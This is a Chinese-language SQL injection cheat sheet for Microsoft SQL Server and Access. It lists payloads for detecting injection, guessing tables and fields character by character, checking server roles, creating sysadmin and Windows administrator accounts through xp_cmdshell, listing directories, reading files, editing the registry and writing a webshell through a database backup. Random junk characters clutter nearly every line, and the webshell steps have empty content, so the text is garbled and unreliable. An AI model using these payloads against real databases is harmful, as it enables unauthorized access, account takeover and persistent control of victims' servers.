1.判断是否有注入;and 1=1 ;and 1=2 9PGSr4V1
2.初步判断是否是mssql ;and user>0 2h/`RefHJ
z3$PrK%
3.注入参数是字符'and [查询条件] and ''=' EoY570PN
T&{EqsI=B
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 1Ju{IEV
)@sz\yI%U
5.判断数据库系统 `rM-b'D
EGa}ml/G
;and (select count(*) from sysobjects)>0 mssql WM"I
r1
czT$mKj3
;and (select count(*) from msysobjects)>0 access Aimgfxag
ukPV nk
E]e6a^J#
bZKK'd$I
6.猜数据库 ;and (select Count(*) from [数据库名])>0 8d>OtDLa
3|~(9b{+
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 !u=[/>
t<`BaU
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ?HBc7$nW
?Jx8z`(
9.(1)猜字段的ascii值(access) ?= fJu\;
fa6L+wt4O
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 _H;ObTiB
>=B8PK+<
(2)猜字段的ascii值(mssql) k!!o!r BS
#q=?Zu^Da
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 <Siz5qQI4
Sx pl%
10.测试权限结构(mssql) 3L;)asF
S3n$
|M+ !O93
K~Xt`
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- q,m6$\g4
iaR'):TD
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- rv\<Q-uQ8
<vPIC G)
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- [g%oo3`A
w1.KRe{M
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- Q#vur o
oinF<-(
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- :,cSEST
`4$" mO>+
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 0BBWuNF.
'|6j1i0x
;and 1=(select IS_MEMBER('db_owner'));-- Yr0%ZYfN
.lj\H
z43 H]
9oN b= .
11.添加mssql和系统的帐户 Qg4qjX](?
g Ts5xDvJ
;exec master.dbo.sp_addlogin username;-- Z*leEwgz
;exec master.dbo.sp_password null,username,password;-- M~^|dR)D
@90)
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- >
^D10Nf*
sKNN ahGjh
;exec master.dbo.xp_cmdshell 'net user username password /y1,w JI
4s3n|6 v
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- VdYu| w;v
?}O\'Fa8
;exec master.dbo.xp_cmdshell 'net user username password /add';-- yA6"8fr
K0b(D8!
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- I*'QD)
S=o Ab&
(B[0BjU
i8EMjLBUR
12.(1)遍历目录 wG-X833\(
aP2
;create table dirs(paths varchar(100), id int) |>d56
!K3
#4
;insert dirs exec master.dbo.xp_dirtree 'c:\' sg2T)^*V
b}axw+
;and (select top 1 paths from dirs)>0 (?$}Vp
$n>.;CV
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) )5p0fw
qy.Mi{=~:
I>fEwMk~
M$|^?U>cm
(2)遍历目录 02b v0
o-49o5:1
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- %e=BC^VW
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 m~%IHWO'
vJK0>":G
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 )6HcPso6
iN=-N=
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 bluhiiATd
}Vk#w%EJ
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 f%d7?<rw
U%"v7G-
sJMT _yt;
+Z/Pj_.o
13.mssql中的存储过程 Pij*?qmeQ
: 3*(kb1)&
xp_regenumvalues 注册表根键, 子键 tP7l
;EX4
P>Pw;[b>O
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 B`9'COw
= gOq
>`
xp_regread 根键,子键,键值名 1Hk`i%
/+iU1m'(
;exec xp_regread U z[#t1*
?%#3p[
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 6[w_/X"
D O#4E<]5
xp_regwrite 根键,子键, 值名, 值类型, 值 I6X_DPY
%^kBcId
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 |3QKxS0
eM{,B
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 K-Y;[+#g1o
@tR:}J*9s
xp_regdeletevalue 根键,子键,值名 sO,,i]a0
&O7]e3Ej
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 p^<*v8,~7
"NMX>a,(
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 `[X5mEe
:$L^l{gT
+?DP r
MZl6J
14.mssql的backup创建webshell tp7cc;0
vYcea
use model nj]l'~Y0
|W:xbtPNy
create table cmd(str image); JPRo<jt=
&,JrhMr\
insert into cmd(str) values ('');
W0R<^5_
..)O/g.
backup database model to disk='c:\l.asp'; )E;B'^RVR
K!=Y4"5%
>kU$bh.(
$oDc
15.mssql内置函数 w|lA%H7`J
4$~eG"wu
;and (select @@version)>0 获得Windows的版本号 l`>|XUf6
Nb(c;|nV
;and user_name()='dbo' 判断当前系统的连接用户是不是sa !?#B*JGFS
CD]"Q1
t}
;and (select user_name())>0 爆当前系统的连接用户 U9[QdC
Na=.LW-ma=
;and (select db_name())>0 得到当前连接的数据库 iGlg@
:2ILN.&
^T2o9f
N`,ppj
16.简洁的webshell DP_ ]\V<sT
t<h[Lb%{T4
use model {DlQTgP
q|r^)0W
create table cmd(str image); Y=6569U2
`#Z=cq^_
insert into cmd(str) values (''); 9EHhVi
6&